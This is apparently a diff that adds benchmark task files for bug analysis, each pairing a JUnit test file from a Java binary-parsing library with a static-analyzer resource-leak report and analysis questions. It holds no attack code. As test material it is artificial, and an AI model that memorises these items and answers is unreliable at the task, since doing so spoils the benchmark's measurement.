+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short(new short[]{(short)0x0102, (short)0x0304}).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04}, binStart().Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testIntArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Int(0x01020304, 0x05060708).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,0x02,0x03,0x04}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLongArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08, 0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18}, binStart().Long(0x0102030405060708L,0x1112131415161718L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01, 02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testFlush() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPOut out = binStart(buffer);
+
+    out.Bit(true);
+    assertEquals(0, buffer.size());
+    out.Flush();
+    assertEquals(1, buffer.size());
+  }
+
+  @Test
+  public void testExceptionForOperatioOverEndedProcess() throws Exception {
+    final JBBPOut out = binStart();
+    out.ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end();
+    try{
+      out.Align();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+    
+    try{
+      out.Align(3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34,(byte)12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(34,12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12,13,14);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, (byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte((byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.ByteOrder(JBBPByteOrder.BIG_ENDIAN);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Flush();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1,2);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L,2L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short((short)1,(short)2,(short)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.end();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+  }
+  
+  @Test
+  public void testExternalStreamButNoByteArrayOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final DataOutputStream dout = new DataOutputStream(buffer);
+    
+    assertNull(binStart(dout).Byte(1,2,3).end());
+    assertArrayEquals(new byte[]{1,2,3}, buffer.toByteArray());
+  }
+  
+  @Test(expected = IllegalArgumentException.class)
+  public void testExceptionForBitOrderConfilctInCaseOfUsageBitOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPBitOutputStream bitstream = new JBBPBitOutputStream(buffer,JBBPBitOrder.LSB0);
+    
+    new JBBPOut(bitstream,JBBPByteOrder.BIG_ENDIAN,JBBPBitOrder.MSB0);
+  }
+  
+  @Test
+  public void testComplexWriting_1() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream(16384);
+
+    final JBBPOut begin = new JBBPOut(buffer);
+
+    begin.
+            Bit(1, 2, 3, 0).
+            Bit(true, false, true).
+            Align().
+            Byte(5).
+            Short(1, 2, 3, 4, 5).
+            Bool(true, false, true, true).
+            Int(0xABCDEF23, 0xCAFEBABE).
+            Long(0x123456789ABCDEF1L, 0x212356239091AB32L).
+            end();
+
+    final byte[] array = buffer.toByteArray();
+
+    assertEquals(40, array.length);
+    assertArrayEquals(new byte[]{
+      (byte) 0x55, 5, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 1, 0, 1, 1,
+      (byte) 0xAB, (byte) 0xCD, (byte) 0xEF, 0x23, (byte) 0xCA, (byte) 0xFE, (byte) 0xBA, (byte) 0xBE,
+      0x12, 0x34, 0x56, 0x78, (byte) 0x9A, (byte) 0xBC, (byte) 0xDE, (byte) 0xF1, 0x21, 0x23, 0x56, 0x23, (byte) 0x90, (byte) 0x91, (byte) 0xAB, 0x32
+
+    }, array);
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.igormaznitsa.jbbp.io.JBBPBitOutputStream` acquired by call to `binStart()` at line 185 is not released after line 185.
+**Note**: potential exception at line 185
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JBBPOutTest.testInt_LittleEndian()
+
+### Procedure Id:
+com.igormaznitsa.jbbp.io.JBBPOutTest.testInt_LittleEndian():void.f5ba19c2d9df5ea94b717bd0abb5c232
+
+### File:
+src/test/java/com/igormaznitsa/jbbp/io/JBBPOutTest.java
+
+### Key:
+JBBPOutTest.java|testInt_LittleEndian|RESOURCE_LEAK
+
+### Node Key:
+c8378f07bc7517fb0817a34558e677de
+
+### Hash:
+c7177ee736a23a57c29da5a93428f1f7
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9082/instruction.md b/inferredbugs-9082/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c3fc8e3336232359227de3410ad56ebb687f7115
--- /dev/null
+++ b/inferredbugs-9082/instruction.md
@@ -0,0 +1,494 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-binary-block-parser
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+ * Copyright 2014 Igor Maznitsa (http://www.igormaznitsa.com).
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.igormaznitsa.jbbp.io;
+
+import static com.igormaznitsa.jbbp.io.JBBPOut.*;
+import java.io.*;
+import static org.junit.Assert.*;
+import org.junit.Test;
+
+public class JBBPOutTest {
+
+  @Test
+  public void testBinStart() throws Exception {
+    assertArrayEquals(new byte[]{1},binStart().Byte(1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x02,0x01},binStart(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{0x40,(byte)0x80},binStart(JBBPByteOrder.LITTLE_ENDIAN,JBBPBitOrder.MSB0).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte)0x80},binStart(JBBPBitOrder.MSB0).Byte(1).end().toByteArray());
+  
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    assertSame(buffer, binStart(buffer).end());
+  }
+  
+  @Test
+  public void testAlign() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align().Byte(0xFF).end().toByteArray());
+  }
+
+  @Test
+  public void testAlignWithArgument() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).Align(2).end().toByteArray().length);
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Align(3).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(2).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x05, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4, 5).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, (byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, 0x00, (byte) 0x01, 0x00, 00, 0x02, 0x00, 00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(3).Byte(1).Align(3).Byte(2).Align(3).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 03, 0x04, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Int(0x01020304).Align(5).Byte(0xF1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(5).Byte(0xF1).end().toByteArray());
+  }
+
+  @Test
+  public void testEmptyArray() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).end().toByteArray().length);
+  }
+
+  @Test
+  public void testByte() throws Exception {
+    assertArrayEquals(new byte[]{-34}, binStart().Byte(-34).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsByteArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBit() throws Exception {
+    assertArrayEquals(new byte[]{1}, binStart().Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_MSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x80}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.MSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_LSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.LSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_Int() throws Exception {
+    assertArrayEquals(new byte[]{0xD}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_IntArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD, 0xFE).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_ByteArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, (byte) 0xFD, (byte) 0x8E).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(1, 3, 0, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBytes() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 2, (byte) 4, (byte) 1, (byte) 3, (byte) 7}).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBooleans() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(true, true, false, false, false, true, true, true).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(true, true, false, true).end().toByteArray());
+  }
+
+  @Test
+  public void testShort() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{0x02,01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{2,1,4,3}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+
+  @Test
+  public void testShortArray_AsShorts() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short((short)0x0102, (short)0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsShortArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short(new short[]{(short)0x0102, (short)0x0304}).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04}, binStart().Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testIntArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Int(0x01020304, 0x05060708).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,0x02,0x03,0x04}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLongArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08, 0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18}, binStart().Long(0x0102030405060708L,0x1112131415161718L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01, 02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testFlush() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPOut out = binStart(buffer);
+
+    out.Bit(true);
+    assertEquals(0, buffer.size());
+    out.Flush();
+    assertEquals(1, buffer.size());
+  }
+
+  @Test
+  public void testExceptionForOperatioOverEndedProcess() throws Exception {
+    final JBBPOut out = binStart();
+    out.ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end();
+    try{
+      out.Align();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+    
+    try{
+      out.Align(3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34,(byte)12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(34,12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12,13,14);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, (byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte((byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.ByteOrder(JBBPByteOrder.BIG_ENDIAN);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Flush();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1,2);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L,2L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short((short)1,(short)2,(short)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.end();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+  }
+  
+  @Test
+  public void testExternalStreamButNoByteArrayOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final DataOutputStream dout = new DataOutputStream(buffer);
+    
+    assertNull(binStart(dout).Byte(1,2,3).end());
+    assertArrayEquals(new byte[]{1,2,3}, buffer.toByteArray());
+  }
+  
+  @Test(expected = IllegalArgumentException.class)
+  public void testExceptionForBitOrderConfilctInCaseOfUsageBitOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPBitOutputStream bitstream = new JBBPBitOutputStream(buffer,JBBPBitOrder.LSB0);
+    
+    new JBBPOut(bitstream,JBBPByteOrder.BIG_ENDIAN,JBBPBitOrder.MSB0);
+  }
+  
+  @Test
+  public void testComplexWriting_1() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream(16384);
+
+    final JBBPOut begin = new JBBPOut(buffer);
+
+    begin.
+            Bit(1, 2, 3, 0).
+            Bit(true, false, true).
+            Align().
+            Byte(5).
+            Short(1, 2, 3, 4, 5).
+            Bool(true, false, true, true).
+            Int(0xABCDEF23, 0xCAFEBABE).
+            Long(0x123456789ABCDEF1L, 0x212356239091AB32L).
+            end();
+
+    final byte[] array = buffer.toByteArray();
+
+    assertEquals(40, array.length);
+    assertArrayEquals(new byte[]{
+      (byte) 0x55, 5, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 1, 0, 1, 1,
+      (byte) 0xAB, (byte) 0xCD, (byte) 0xEF, 0x23, (byte) 0xCA, (byte) 0xFE, (byte) 0xBA, (byte) 0xBE,
+      0x12, 0x34, 0x56, 0x78, (byte) 0x9A, (byte) 0xBC, (byte) 0xDE, (byte) 0xF1, 0x21, 0x23, 0x56, 0x23, (byte) 0x90, (byte) 0x91, (byte) 0xAB, 0x32
+
+    }, array);
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.igormaznitsa.jbbp.io.JBBPBitOutputStream` acquired by call to `binStart()` at line 97 is not released after line 97.
+**Note**: potential exception at line 97
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JBBPOutTest.testBits_Int()
+
+### Procedure Id:
+com.igormaznitsa.jbbp.io.JBBPOutTest.testBits_Int():void.13034337459c88964a65e78fc2e18b83
+
+### File:
+src/test/java/com/igormaznitsa/jbbp/io/JBBPOutTest.java
+
+### Key:
+JBBPOutTest.java|testBits_Int|RESOURCE_LEAK
+
+### Node Key:
+c8378f07bc7517fb0817a34558e677de
+
+### Hash:
+18a532b72fd50e8c7ab78349e42558ce
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9083/instruction.md b/inferredbugs-9083/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..32659e67e6588b7ceee0ff9788d4a7e943fbf7e2
--- /dev/null
+++ b/inferredbugs-9083/instruction.md
@@ -0,0 +1,493 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-binary-block-parser
+**Bug ID:** 29
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+ * Copyright 2014 Igor Maznitsa (http://www.igormaznitsa.com).
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.igormaznitsa.jbbp.io;
+
+import static com.igormaznitsa.jbbp.io.JBBPOut.*;
+import java.io.*;
+import static org.junit.Assert.*;
+import org.junit.Test;
+
+public class JBBPOutTest {
+
+  @Test
+  public void testBinStart() throws Exception {
+    assertArrayEquals(new byte[]{1},binStart().Byte(1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x02,0x01},binStart(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{0x40,(byte)0x80},binStart(JBBPByteOrder.LITTLE_ENDIAN,JBBPBitOrder.MSB0).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte)0x80},binStart(JBBPBitOrder.MSB0).Byte(1).end().toByteArray());
+  
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    assertSame(buffer, binStart(buffer).end());
+  }
+  
+  @Test
+  public void testAlign() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align().Byte(0xFF).end().toByteArray());
+  }
+
+  @Test
+  public void testAlignWithArgument() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).Align(2).end().toByteArray().length);
